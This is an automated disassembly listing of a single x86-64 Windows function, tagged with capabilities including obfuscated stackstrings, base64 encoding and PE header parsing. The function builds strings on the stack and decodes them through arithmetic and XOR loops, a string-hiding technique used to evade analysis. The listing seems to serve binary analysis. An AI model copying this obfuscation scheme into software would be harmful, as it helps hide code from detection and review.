Function at 0x14002e990
Capabilities:
Contain obfuscated stackstrings
Encode data using base64
Parse pe header

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x668
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x5d0], xmm7
movaps xmmword [rbp + 0x5c0], xmm6
mov qword [rbp + 0x5b8], 0xfffffffffffffffe
call fcn.1400519d0
call fcn.1400369a0
cmp eax, 0xc0000462
je 0x14002e9eb
call fcn.140037160
test al, al
jne 0x14002e9eb
call fcn.1400373e0
test al, al
je 0x14002ed95
cmp byte [0x1400b42f8], 0
je 0x14002ed81
movabs rax, 0x989a9afedbe7d6eb
mov qword [rbp + 0x1f0], rax
mov dword [rbp + 0x1f8], 0xb1a7a590
mov word [rbp + 0x1fc], 0x5c3
mov qword [rbp + 0x1fe], 0
mov qword [rbp + 0x203], 0
lea rsi, [rbp + 0x1f0]
call fcn.140044ae0
mov rdi, qword [rax]
call fcn.140044af0
mov rcx, qword [rax]
xor eax, eax
jmp 0x14002ea84
lea ecx, [rax - 0x11307aff]
lea r9d, [rdx + rax]
add r9d, 0xeecf8501
and ecx, edx
add ecx, ecx
sub r9d, ecx
add r9b, 0xf9
mov byte [rbp + rax + 0x1f0], r9b
dec rax
mov rcx, r8
inc rax
cmp rax, 0x1b
jae 0x14002ed79
cmp rdi, rax
ja 0x14002ed69
movzx r9d, byte [rbp + rax + 0x1f0]
movzx edx, r9b
lea r8, [rcx + 1]
cmp rdi, r8
jae 0x14002eaf0
cmp rcx, rax
ja 0x14002ed72
lea r10, [rdi + rcx]
cmp r10, rax
jbe 0x14002eb80
lea r9, [rcx + 0x10]
cmp rdi, r9
je 0x14002ea4d
lea r9, [rcx + 3]
cmp rdi, r9
je 0x14002ecc4
lea r9, [rcx + 5]
cmp rdi, r9
je 0x14002eb03
lea r9, [rcx + 6]
mov r8, rcx
cmp rdi, r9
je 0x14002eb3a
jmp 0x14002ea39
je 0x14002ebd0
lea r10, [rcx + 3]
cmp rdi, r10
jne 0x14002ebdf
lea r9d, [rax - 0x59ef41a3]
lea r10d, [rdx + rax]
add r10d, 0xa610be5d
and r9d, edx
add r9d, r9d
sub r10d, r9d
add r10b, 0x75
mov byte [rbp + rax + 0x1f0], r10b
movzx r9d, r10b
not rcx
add rcx, rax
sub rcx, r9
mov rax, rcx
lea ecx, [rax + 0x53e10cb4]
lea r9d, [rax + rdx]
add r9d, 0x53e10cb4
and ecx, edx
add ecx, ecx
sub r9d, ecx
add r9b, 0x14
mov byte [rbp + rax + 0x1f0], r9b
sub rax, rdi
inc rdi
movzx r9d, byte [rbp + rax + 0x1ee]
add rax, 0xfffffffffffffffe
mov rcx, r8
jmp 0x14002ebd0
lea ebx, [rax - 0x522fb1a9]
lea r11d, [rax + rdx]
add r11d, 0xadd04e57
and ebx, edx
add ebx, ebx
sub r11d, ebx
add r11b, 0x9f
cmp rdi, r8
jbe 0x14002ec10
lea r10d, [rax + 0x6aa2aabb]
lea r11d, [rax + rdx]
add r11d, 0x6aa2aabb
and r10d, edx
add r10d, r10d
sub r11d, r10d
add r11b, 0xe3
cmp rdi, r8
jne 0x14002ecae
nop dword [rax]
movzx edx, r9b
add rax, rcx
add rax, rdx
jmp 0x14002ea77
lea r10, [rcx + 4]
cmp rdi, r10
jne 0x14002ec7e
lea r9d, [rax + 0x1c52c10f]
lea r8d, [rax + rdx]
add r8d, 0x1c52c10f
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0x97
jmp 0x14002ed3a
je 0x14002ea4d
lea rbx, [rcx + 3]
cmp rdi, rbx
je 0x14002ecc4
lea rbx, [rcx + 4]
cmp rdi, rbx
jne 0x14002ed0f
lea r9d, [rax - 0x26dae28d]
lea r8d, [rax + rdx]
add r8d, 0xd9251d73
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0xdb
lea r9d, [rax + 0x4a7021af]
lea r11d, [rax + rdx]
add r11d, 0x4a7021af
and r9d, edx
add r9d, r9d
sub r11d, r9d
add r11b, r8b
add r11b, 0x37
mov byte [rbp + rax + 0x1f0], r11b
jmp 0x14002ed37
lea r10, [rcx + 2]
cmp rdi, r10
jne 0x14002eccc
lea r9d, [rax + 0x77f35dbd]
lea r8d, [rax + rdx]
add r8d, 0x77f35dbd
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0xd5
add rdi, rcx
jmp 0x14002ed3a
lea r9, [rcx + 2]
cmp rdi, r9
je 0x14002eb03
lea r9, [rcx + 3]
cmp rdi, r9
jne 0x14002eceb
mov r8, rcx
jmp 0x14002ea71
lea r10, [rcx + 6]
cmp rdi, r10
je 0x14002ea71
lea r10, [rcx + 7]
cmp rdi, r10
je 0x14002ea4d
jmp 0x14002eaa3
lea r9, [rcx + 5]
cmp rdi, r9
je 0x14002ea71
cmp rcx, 8
ja 0x14002ea4d
mov byte [rbp + rax + 0x1f0], r11b
jmp 0x14002ea77
lea rbx, [rcx + 2]
cmp rdi, rbx
jne 0x14002ed46
lea r9d, [rax + 0x34c5ba21]
lea r8d, [rax + rdx]
add r8d, 0x34c5ba21
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0x19
mov rdi, r10
movzx edx, r8b
not rdx
jmp 0x14002ebd7
lea r10, [rcx + 6]
cmp rdi, r10
jne 0x14002ed57
mov r8, rcx
jmp 0x14002eb3a
lea r10, [rcx + 7]
cmp rdi, r10
jne 0x14002ebc0
jmp 0x14002ebd0
lea rsi, [rbp + 0x44f2bb]
jmp 0x14002ed79
lea rsi, [rbp + 0x174a464]
mov rcx, rsi
call fcn.140077020
mov rsi, qword [0x1400bac08]
call qword [0x1400bab98]
mov rcx, rax
xor edx, edx
call rsi
cmp byte [0x1400b42f8], 0
je 0x14002f111
movaps xmm0, xmmword [0x140093d20]
movaps xmmword [rbp + 0x1f0], xmm0
movabs rax, 0xcbcb2627da2afd0b
mov qword [rbp + 0x200], rax
mov byte [rbp + 0x208], 0x84
mov dword [rbp + 0x209], 0
mov dword [rbp + 0x20c], 0
lea rsi, [rbp + 0x1f0]
call fcn.140044ae0
mov rdi, qword [rax]
call fcn.140044af0
mov rcx, qword [rax]
xor eax, eax
nop word cs:[rax + rax]
cmp rdi, rax
ja 0x14002f0f9
movzx r9d, byte [rbp + rax + 0x1f0]
movzx edx, r9b
lea r8, [rcx + 1]
cmp rdi, r8
jae 0x14002ee70
cmp rcx, rax
ja 0x14002f102
lea r11, [rcx + 6]
cmp rdi, r11
jb 0x14002eec0
cmp rdi, r8
jne 0x14002eec0
lea ecx, [rax - 0x572e878a]
lea r9d, [rax + rdx]
add r9d, 0xa8d17876
and ecx, edx
add ecx, ecx
sub r9d, ecx
add r9b, 0xc6
mov byte [rbp + rax + 0x1f0], r9b
dec rax
jmp 0x14002ef95
jne 0x14002ee80
mov r8, rcx
jmp 0x14002ef8b
lea r10, [rcx + 2]
cmp rdi, r10
je 0x14002ef1d
lea r10, [rcx + 4]
cmp rdi, r10
jne 0x14002efaa
lea r9d, [rax + 0x3df972ea]
lea r8d, [rax + rdx]
add r8d, 0x3df972ea
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0x9a
jmp 0x14002efff
lea r10, [rdi + rcx]
cmp r10, rax
jbe 0x14002ef13
lea rbx, [rcx + 5]
cmp rdi, rbx
je 0x14002ee3e
cmp rdi, r11
je 0x14002f01d
lea r11, [rcx + 8]
cmp rdi, r11
jne 0x14002f037
lea r9d, [rax + 0x657137fc]
lea r8d, [rax + rdx]
add r8d, 0x657137fc
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0x1c
mov rdi, r10
jmp 0x14002efff
cmp r10, 5
jne 0x14002f00b
lea r9d, [rax - 0x5814ff22]
lea r10d, [rax + rdx]
add r10d, 0xa7eb00de
and r9d, edx
add r9d, r9d
sub r10d, r9d
add r10b, 0xee
mov byte [rbp + rax + 0x1f0], r10b
movzx r9d, r10b
not rcx
add rcx, rax
sub rcx, r9
lea eax, [rcx - 0x184e9d08]
lea r9d, [rcx + rdx]
add r9d, 0xe7b162f8
and eax, edx
add eax, eax
sub r9d, eax
add r9b, 0x38
mov byte [rbp + rcx + 0x1f0], r9b
sub rcx, rdi
inc rdi
movzx r9d, byte [rbp + rcx + 0x1ee]
add rcx, 0xfffffffffffffffe
mov rax, rcx
movzx ecx, r9b
add rax, r8
add rax, rcx
mov rcx, r8
inc rax
cmp rax, 0x20
jb 0x14002ee00
jmp 0x14002f109
lea r10, [rcx + 5]
cmp rdi, r10
jne 0x14002f025
lea r9d, [rax + 0x3d12fb52]
lea r8d, [rax + rdx]
add r8d, 0x3d12fb52
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0xc2
lea r9d, [rax + 0x285e3caa]
lea r10d, [rax + rdx]
add r10d, 0x285e3caa
and r9d, edx
add r9d, r9d
sub r10d, r9d
add r10b, r8b
add r10b, 0x5a
mov byte [rbp + rax + 0x1f0], r10b
add rdi, rcx
movzx edx, r8b
not rdx
add rax, rdx
jmp 0x14002ef98
cmp rdi, r8
je 0x14002ee3e
lea r9, [rcx + 3]
cmp rdi, r9
jne 0x14002f059
mov r8, rcx
jmp 0x14002ee62
lea r10, [rcx + 6]
cmp rdi, r10
jne 0x14002ee1f
jmp 0x14002ee62
lea r10, [rcx + 9]
cmp rdi, r10
je 0x14002ef1d
lea rdx, [rcx + 0xa]
mov r8, rcx
cmp rdi, rdx
je 0x14002ef8b
jmp 0x14002ede3
lea r9, [rcx + 2]
cmp rdi, r9
jne 0x14002f089
lea r9d, [rax - 0x4ffacaca]
lea r8d, [rax + rdx]
add r8d, 0xb0053536
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0x86
mov rdi, r10
jmp 0x14002efff
lea r9, [rcx + 5]
cmp rdi, r9
jne 0x14002f0b6
lea r9d, [rax + 0x2f91f96a]
lea r8d, [rax + rdx]
add r8d, 0x2f91f96a
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0x1a
jmp 0x14002efff
lea r9, [rcx + 4]
cmp rdi, r9
je 0x14002f01d
cmp rcx, 2
ja 0x14002ee3e
lea r8d, [rax + 0x3fc6621a]
lea r9d, [rax + rdx]
add r9d, 0x3fc6621a
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, 0x4a
mov byte [rbp + rax + 0x1f0], r9b
jmp 0x14002ef98
lea rsi, [rbp + 0xd04d82]
jmp 0x14002f109
lea rsi, [rbp + 0x149eb68]
mov rcx, rsi
call fcn.140077020
lea rcx, [rbp - 0x5c]
call fcn.1400531f0
mov dword [rbp + 0x1f0], 0x49
lea rsi, [rbp + 0x1f4]
mov byte [rbp + 0x1f4], 0xa
mov byte [rbp + 0x1f5], 0x73
mov byte [rbp + 0x1f6], 0x15
mov byte [rbp + 0x1f7], 0x1e
mov byte [rbp + 0x1f8], 0x20
mov byte [rbp + 0x1f9], 0x27
mov byte [rbp + 0x1fa], 0x2d
mov byte [rbp + 0x1fb], 0x26
mov byte [rbp + 0x1fc], 0x3e
mov byte [rbp + 0x1fd], 0x3a
mov byte [rbp + 0x1fe], 0x15
mov byte [rbp + 0x1ff], 0x1a
mov byte [rbp + 0x200], 0x30
mov byte [rbp + 0x201], 0x3a
mov byte [rbp + 0x202], 0x3d
mov byte [rbp + 0x203], 0x2c
mov byte [rbp + 0x204], 0x24
mov byte [rbp + 0x205], 0x7a
mov byte [rbp + 0x206], 0x7b
mov byte [rbp + 0x207], 0x15
mov byte [rbp + 0x208], 0x1d
mov byte [rbp + 0x209], 0x28
mov byte [rbp + 0x20a], 0x3a
mov byte [rbp + 0x20b], 0x22
mov byte [rbp + 0x20c], 0x2b
mov byte [rbp + 0x20d], 0x28
mov byte [rbp + 0x20e], 0x3b
mov byte [rbp + 0x20f], 0x67
mov byte [rbp + 0x210], 0x2d
mov byte [rbp + 0x211], 0x25
mov byte [rbp + 0x212], 0x25
mov byte [rbp + 0x213], 0
mov eax, 7
movzx ecx, byte [rbp + rax + 0x1ed]
mov edx, dword [rbp + 0x1f0]
xor dl, cl
mov byte [rbp + rax + 0x1ed], dl
movzx ecx, byte [rbp + rax + 0x1ee]
mov edx, dword [rbp + 0x1f0]
xor dl, cl
mov byte [rbp + rax + 0x1ee], dl
movzx ecx, byte [rbp + rax + 0x1ef]
mov edx, dword [rbp + 0x1f0]
xor dl, cl
mov byte [rbp + rax + 0x1ef], dl
cmp rax, 0x23
je 0x14002f278
movzx ecx, byte [rbp + rax + 0x1f0]
mov edx, dword [rbp + 0x1f0]
xor dl, cl
mov byte [rbp + rax + 0x1f0], dl
add rax, 4
jmp 0x14002f210
mov byte [rbp + 0x213], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0xd0], xmm0
movaps xmmword [rbp + 0xc0], xmm0
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x140033447
mov rdi, rax
cmp rax, 0xf
ja 0x14002f2da
mov qword [rbp + 0xd0], rdi
mov qword [rbp + 0xd8], 0xf
lea rcx, [rbp + 0xc0]
mov rdx, rsi
mov r8, rdi
call fcn.140091230
add rdi, rbp
add rdi, 0xc0
jmp 0x14002f341
mov rax, rdi
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x14002f30f
lea rcx, [r14 + 0x28]
call fcn.14005c498
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14002f31b
lea rcx, [r14 + 1]
call fcn.14005c498
mov rbx, rax
mov qword [rbp + 0xc0], rbx
mov qword [rbp + 0xd0], rdi
mov qword [rbp + 0xd8], r14
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.140091230
add rdi, rbx
mov byte [rdi], 0
lea rcx, [rbp + 0xc0]
call fcn.1400523c0
mov ebx, eax
mov rax, qword [rbp + 0xd8]
cmp rax, 0x10
jb 0x14002f397
mov rcx, qword [rbp + 0xc0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14002f392
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400333e6
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14005c4dc
mov byte [rbp + 0x1f0], 0x4b
mov byte [rbp + 0x1f1], 0x42
mov byte [rbp + 0x1f2], 0x64
mov byte [rbp + 0x1f3], 0x58
mov byte [rbp + 0x1f4], 0x7a
mov byte [rbp + 0x1f5], 0x77
mov byte [rbp + 0x1f6], 0x6f
mov byte [rbp + 0x1f7], 0x7a
mov byte [rbp + 0x1f8], 0x69
mov byte [rbp + 0x1f9], 0x75
mov byte [rbp + 0x1fa], 0x28
mov byte [rbp + 0x1fb], 0x4e
mov byte [rbp + 0x1fc], 0x71
mov byte [rbp + 0x1fd], 0x74
mov byte [rbp + 0x1fe], 0x6d
mov byte [rbp + 0x1ff], 0x7b
mov byte [rbp + 0x200], 0x64
mov byte [rbp + 0x201], 0x5f
mov byte [rbp + 0x202], 0x71
mov byte [rbp + 0x203], 0x76
mov byte [rbp + 0x204], 0x6c
mov byte [rbp + 0x205], 0x77
mov byte [rbp + 0x206], 0x7f
mov byte [rbp + 0x207], 0x7b
mov byte [rbp + 0x208], 0x28
mov byte [rbp + 0x209], 0x4c
mov byte [rbp + 0x20a], 0x6d
mov byte [rbp + 0x20b], 0x6e
mov byte [rbp + 0x20c], 0x6d
mov byte [rbp + 0x20d], 0x76
mov byte [rbp + 0x20e], 0x6c
mov byte [rbp + 0x20f], 0x6d
mov byte [rbp + 0x210], 0x7a
mov byte [rbp + 0x211], 0x64
mov byte [rbp + 0x212], 0x55
mov byte [rbp + 0x213], 0x7b
mov byte [rbp + 0x214], 0x55
mov byte [rbp + 0x215], pe_nt_image_headers64
mov byte [rbp + 0x216], 0x4d
mov byte [rbp + 0x217], 0x76
mov byte [rbp + 0x218], 0x6f
mov byte [rbp + 0x219], 0x36
mov byte [rbp + 0x21a], 0x6d
mov byte [rbp + 0x21b], 0x80
mov byte [rbp + 0x21c], 0x6d
mov byte [rbp + 0x21d], 0
mov eax, 4
nop
add byte [rbp + rax + 0x1ec], 0xf8
add byte [rbp + rax + 0x1ed], 0xf8
add byte [rbp + rax + 0x1ee], 0xf8
add byte [rbp + rax + 0x1ef], 0xf8
add byte [rbp + rax + 0x1f0], 0xf8
add rax, 5
cmp rax, 0x31
jne 0x14002f4e0
xorps xmm0, xmm0
movaps xmmword [rbp + 0xd0], xmm0
movaps xmmword [rbp + 0xc0], xmm0
lea rsi, [rbp + 0x1f0]
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x140033447
mov rdi, rax
cmp rax, 0xf
ja 0x14002f578
mov qword [rbp + 0xd0], rdi
mov qword [rbp + 0xd8], 0xf
lea rcx, [rbp + 0xc0]
lea rdx, [rbp + 0x1f0]
mov r8, rdi
call fcn.140091230
add rdi, rbp
add rdi, 0xc0
jmp 0x14002f5e3
mov rax, rdi
or rax, 0xf
cmp rax, 0x17
mov r15d, 0x16
cmovae r15, rax
cmp r15, 0xfff
jb 0x14002f5ad
lea rcx, [r15 + 0x28]
call fcn.14005c498
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14002f5b9
lea rcx, [r15 + 1]
call fcn.14005c498
mov r14, rax
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0xd0], rdi
mov qword [rbp + 0xd8], r15
lea rdx, [rbp + 0x1f0]
mov rcx, r14
mov r8, rdi
call fcn.140091230
add rdi, r14
mov byte [rdi], 0
lea rcx, [rbp + 0xc0]
call fcn.1400523c0
mov edi, eax
mov rax, qword [rbp + 0xd8]
cmp rax, 0x10
jb 0x14002f639
mov rcx, qword [rbp + 0xc0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14002f634
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400333e6
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14005c4dc
cmp dword [rbp - 0x58], 6
movzx eax, byte [0x1400b42f8]
jne 0x14002fbe3
cmp dword [rbp - 0x54], 1
jne 0x14002fbe3
test al, al
je 0x140030268
movabs rax, 0xcd4d8cb23ef10e3
mov qword [rbp + 0x1f0], rax
mov byte [rbp + 0x1f8], 0x44
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f9], xmm0
mov dword [rbp + 0x209], 0
movabs rdi, 0x1b3920a95b6eaa9a
movabs rbx, 0x82329c35197572b4
movabs r14, 0x4a915976d90dbd0a
movabs r15, 0x167d1afb354528c2
call fcn.140044ae0
mov r12, qword [rax]
call fcn.140044af0
mov rcx, qword [rax]
xor eax, eax
jmp 0x14002f76c
lea r9d, [rax - 0x3d375cc6]
lea r13d, [rax + rdx]
add r13d, 0xc2c8a33a
and r9d, edx
add r9d, r9d
sub r13d, r9d
add r13b, 0x6a
lea r9d, [rax + 0x7cd65152]
lea r10d, [rdx + rax]
add r10d, 0x7cd65152
and r9d, edx
add r9d, r9d
sub r10d, r9d
add r10b, 0xc2
mov byte [rbp + rax + 0x1f0], r10b
movzx r9d, r10b
not rcx
add rcx, rax
sub rcx, r9
lea eax, [rcx + 0x660b1c8]
lea r9d, [rcx + rdx]
add r9d, 0x660b1c8
and eax, edx
add eax, eax
sub r9d, eax
add r9b, 0x88
mov byte [rbp + rcx + 0x1f0], r9b
sub rcx, r12
inc r12
movzx edx, byte [rbp + rcx + 0x1ee]
add rcx, 0xfffffffffffffffe
mov rax, rcx
add rdx, rax
add rdx, r8
mov rcx, r8
mov rax, rdx
inc rax
cmp rax, 0x1d
jae 0x14003020b
cmp r12, rax
ja 0x1400301fb
movzx r9d, byte [rbp + rax + 0x1f0]
movzx edx, r9b
lea r8, [rcx + 1]
cmp r12, r8
jae 0x14002f7e0
lea r10d, [rax - 0x76759f8a]
lea r13d, [rax + rdx]
add r13d, 0x898a6076
and r10d, edx
add r10d, r10d
sub r13d, r10d
add r13b, 0xc6
cmp rcx, rax
ja 0x140030204
cmp r12, rcx
jbe 0x14002f850
cmp r12, r8
jne 0x14002f8ae
lea rcx, [rax + rdi]
lea r13, [rcx + rdx]
and ecx, edx
mov r9b, 0xca
jmp 0x14002f877
jne 0x14002f810
lea r8d, [rax - 0x6360de9e]
lea r13d, [rax + rdx]
add r13d, 0x9c9f2162
and r8d, edx
add r8d, r8d
sub r13d, r8d
add r13b, 0x52
mov r8, rcx
jmp 0x14002f753
lea r10, [rcx + 2]
cmp r12, r10
je 0x14002f6c7
lea r10, [rcx + 3]
cmp r12, r10
jne 0x14002f9c2
lea r8d, [rax - 0x3f91a02]
lea r13d, [rax + rdx]
add r13d, 0xfc06e5fe
and r8d, edx
add r8d, r8d
sub r13d, r8d
add r13b, 0xe
jmp 0x14002f986
lea r10, [r12 + rcx]
cmp r10, rax
jbe 0x14002f8e2
lea r11, [rcx + 6]
cmp r12, r11
jne 0x14002f92e
lea rcx, [rax + rbx]
lea r13, [rcx + rdx]
and ecx, edx
mov r9b, 0x14
add ecx, ecx
sub r13d, ecx
add r13b, r9b
lea ecx, [rax + 0x56accf7a]
lea r9d, [rdx + rax]
add r9d, 0x56accf7a
and ecx, edx
add ecx, ecx
sub r9d, ecx
add r9b, 0xaa
mov byte [rbp + rax + 0x1f0], r9b
dec rax
mov rcx, r8
jmp 0x14002f75f
lea r10, [rcx + 2]
cmp r12, r10
jne 0x14002f9f2
lea r8d, [rax - 0x7e67d38e]
lea r13d, [rax + rdx]
add r13d, 0x81982c72
and r8d, edx
add r8d, r8d
sub r13d, r8d
add r13b, 0xe2
dec rax
jmp 0x14002f75f
lea r11d, [rax - 0x76759f8a]
lea r13d, [rax + rdx]
add r13d, 0x898a6076
and r11d, edx
add r11d, r11d
sub r13d, r11d
add r13b, 0xc6
cmp r10, 6
jne 0x14002f958
lea r9d, [rax - 0xcb40f24]
lea r13d, [rax + rdx]
add r13d, 0xf34bf0dc
and r9d, edx
add r9d, r9d
sub r13d, r9d
sub r13b, dl
add r13b, 0xfc
jmp 0x14002f6e6
cmp r12, r8
jne 0x14002fbc0
lea r8d, [rax + 0x52b3b578]
lea r13d, [rax + rdx]
add r13d, 0x52b3b578
and r8d, edx
add r8d, r8d
sub r13d, r8d
add r13b, 0xb8
jmp 0x14002f986
cmp r12, r8
jbe 0x14002fa1c
lea r8d, [rax - 0x1fc8d010]
lea r10d, [rax + rdx]
add r10d, 0xe0372ff0
and r8d, edx
add r8d, r8d
sub r10d, r8d
add r9b, r10b
add r9b, 0x70
mov r13d, r9d
lea r8d, [rax + 0x69c19066]
lea r9d, [rdx + rax]
add r9d, 0x69c19066
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, r13b
add r9b, 0x36
mov byte [rbp + rax + 0x1f0], r9b
add r12, rcx
movzx edx, r13b
not rdx
add rax, rdx
jmp 0x14002f75f
lea r10, [rcx + 7]
cmp r12, r10
jne 0x14002fa33
lea r8d, [rax + 0xf1ba6ea]
lea r13d, [rax + rdx]
add r13d, 0xf1ba6ea
and r8d, edx
add r8d, r8d
sub r13d, r8d
add r13b, 0x9a
dec rax
jmp 0x14002f75f
lea r10, [rcx + 3]
cmp r12, r10
jne 0x14002fa55
lea r8d, [rax - 0x452990ca]
lea r13d, [rax + rdx]
add r13d, 0xbad66f36
and r8d, edx
add r8d, r8d
sub r13d, r8d
add r13b, 0x86
jmp 0x14002f9b3
jne 0x14002fa82
lea r9, [rax + r14]
lea r13, [r9 + rdx]
mov ecx, edx
and ecx, r9d
mov r9b, 0xba
jmp 0x14002f877
lea r10, [rcx + 6]
cmp r12, r10
jne 0x14002f7aa
lea r9, [rax + r15]
lea r13, [r9 + rdx]
mov ecx, edx
and ecx, r9d
mov r9b, 0xb2
jmp 0x14002f877
lea r10, [rcx + 7]
cmp r12, r10
jne 0x14002fab2
lea r9d, [rax - 0x3214cfde]
lea r13d, [rax + rdx]
add r13d, 0xcdeb3022
and r9d, edx
add r9d, r9d
sub r13d, r9d
add r13b, 0x12
jmp 0x14002f6e6
lea r10, [rcx + 2]
cmp r12, r10
jne 0x14002fadf
lea r8d, [rax - 0xc8c11e]
lea r13d, [rax + rdx]
add r13d, 0xff373ee2
and r8d, edx
add r8d, r8d
sub r13d, r8d
add r13b, 0xd2
dec rax
jmp 0x14002f75f
lea r11, [rcx + 6]
cmp r12, r11
jne 0x14002fb0c
lea r8d, [rax - 0xbeb4e06]
lea r13d, [rax + rdx]
add r13d, 0xf414b1fa
and r8d, edx
add r8d, r8d
sub r13d, r8d
add r13b, 0x2a
jmp 0x14002f801
lea r10, [rcx + 3]
cmp r12, r10
jne 0x14002fb4d
lea r8d, [rax + 0x387581a6]
lea r13d, [rax + rdx]
add r13d, 0x387581a6
and r8d, edx
add r8d, r8d
sub r13d, r8d
add r13b, 0x76
jmp 0x14002f9b3
lea r10, [r12 + rcx]
cmp r10, rax
ja 0x14002f861
lea r11, [rcx + 5]
cmp r12, r11
jne 0x14002f901
lea r8d, [rax + 0x33058e4]
lea r13d, [rax + rdx]
add r13d, 0x33058e4
and r8d, edx
add r8d, r8d
sub r13d, r8d
add r13b, 0xc4
dec rax
jmp 0x14002f75f
lea r10, [rcx + 7]
cmp r12, r10
jne 0x14002fb7a
lea r9d, [rax + 0x4b8a4292]
lea r13d, [rax + rdx]
add r13d, 0x4b8a4292
and r9d, edx
add r9d, r9d
sub r13d, r9d
add r13b, 2
jmp 0x14002f6e6
lea r8, [rcx + 6]
cmp r12, r8
jne 0x14002fba7
lea r8d, [rax + 0x71b3c46a]
lea r13d, [rax + rdx]
add r13d, 0x71b3c46a
and r8d, edx
add r8d, r8d
sub r13d, r8d
add r13b, 0x1a
jmp 0x14002f801
test r12, r12
jne 0x14002f961
mov byte [rbp + rax + 0x1f0], r13b
xor r12d, r12d
jmp 0x14002f75f
mov ecx, eax
add ecx, 0x61cf5c62
lea r13d, [rax + rdx]
add r13d, 0x61cf5c62
and ecx, edx
add ecx, ecx
sub r13d, ecx
add r13b, 0x52
jmp 0x14002f6b0
test bl, bl
je 0x14002fe87
test al, al
je 0x14003023f
movabs rax, 0xd6f4f8eb23efd0e3
mov qword [rbp + 0x1f0], rax
mov word [rbp + 0x1f8], 0x5d5
mov qword [rbp + 0x1fa], 0
mov word [rbp + 0x202], 0
call fcn.140044ae0
mov rdi, qword [rax]
call fcn.140044af0
mov rcx, qword [rax]
xor eax, eax
jmp 0x14002fcc3
lea r9d, [rax + 0x1fcd02f2]
lea r10d, [rax + rdx]
add r10d, 0x1fcd02f2
and r9d, edx
add r9d, r9d
sub r10d, r9d
add r10b, 0x62
mov byte [rbp + rax + 0x1f0], r10b
movzx r9d, r10b
not rcx
add rcx, rax
sub rcx, r9
mov rax, rcx
mov rcx, r8
lea r8d, [rax - 0xfc09fb8]
lea r9d, [rax + rdx]
add r9d, 0xf03f6048
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, 8
mov byte [rbp + rax + 0x1f0], r9b
sub rax, rdi
inc rdi
movzx r9d, byte [rbp + rax + 0x1ee]
add rax, 0xfffffffffffffffe
movzx edx, r9b
add rax, rcx
add rax, rdx
inc rax
cmp rax, 0x14
jae 0x140030237
cmp rdi, rax
ja 0x140030215
movzx r9d, byte [rbp + rax + 0x1f0]
movzx edx, r9b
lea r8, [rcx + 1]
cmp rdi, r8
jae 0x14002fd20
cmp rcx, rax
ja 0x140030227
lea r10, [rdi + rcx]
cmp r10, rax
jbe 0x14002fd50
lea r9, [rcx + 6]
cmp rdi, r9
je 0x14002fd55
lea rdx, [rcx + 0xa]
cmp rdi, rdx
je 0x14002fd79
lea rdx, [rcx + 3]
mov r8, rcx
cmp rdi, rdx
je 0x14002fd79
jmp 0x14002fc21
je 0x14002fcac
lea r10, [rcx + 2]
cmp rdi, r10
je 0x14002fc72
lea r10, [rcx + 3]
cmp rdi, r10
je 0x14002fc38
lea r10, [rcx + 9]
cmp rdi, r10
jne 0x14002fce2
jmp 0x14002fd55
cmp rdi, r8
jne 0x14002fd84
lea ecx, [rax - 0x21fc7266]
lea r9d, [rdx + rax]
add r9d, 0xde038d9a
and ecx, edx
add ecx, ecx
sub r9d, ecx
add r9b, 0xca
mov byte [rbp + rax + 0x1f0], r9b
dec rax
mov rcx, r8
jmp 0x14002fcb6
lea r11, [rcx + 2]
cmp rdi, r11
je 0x14002fd79
lea r11, [rcx + 3]
cmp rdi, r11
jne 0x14002fd9b
mov r8, rcx
jmp 0x14002fd79
lea r11, [rcx + 9]
cmp rdi, r11
je 0x14002fcac
lea r9, [rcx + 0xa]
cmp rdi, r9
jbe 0x14002fddd
lea r9d, [rax - 0x3b5e1a74]
lea r8d, [rax + rdx]
add r8d, 0xc4a1e58c
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0x2c
mov byte [rbp + rax + 0x1f0], r8b
jmp 0x14002fcb6
lea r9, [rcx + 5]
cmp rdi, r9
jne 0x14002fe41
lea r8d, [rax - 0x7601ba6c]
lea r9d, [rax + rdx]
add r9d, 0x89fe4594
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, 0xf4
lea r8d, [rax + 0x7ee84846]
lea r11d, [rax + rdx]
add r11d, 0x7ee84846
and r8d, edx
add r8d, r8d
sub r11d, r8d
add r11b, r9b
add r11b, 0x16
mov byte [rbp + rax + 0x1f0], r11b
movzx edx, r9b
not rdx
add rax, rdx
mov rdi, r10
jmp 0x14002fcb6
lea r9, [rcx + 6]
cmp rdi, r9
je 0x14002fd96
lea r9, [rcx + 7]
cmp rdi, r9
je 0x14002fd79
lea r9d, [rax - 0x2f8da2aa]
lea r8d, [rax + rdx]
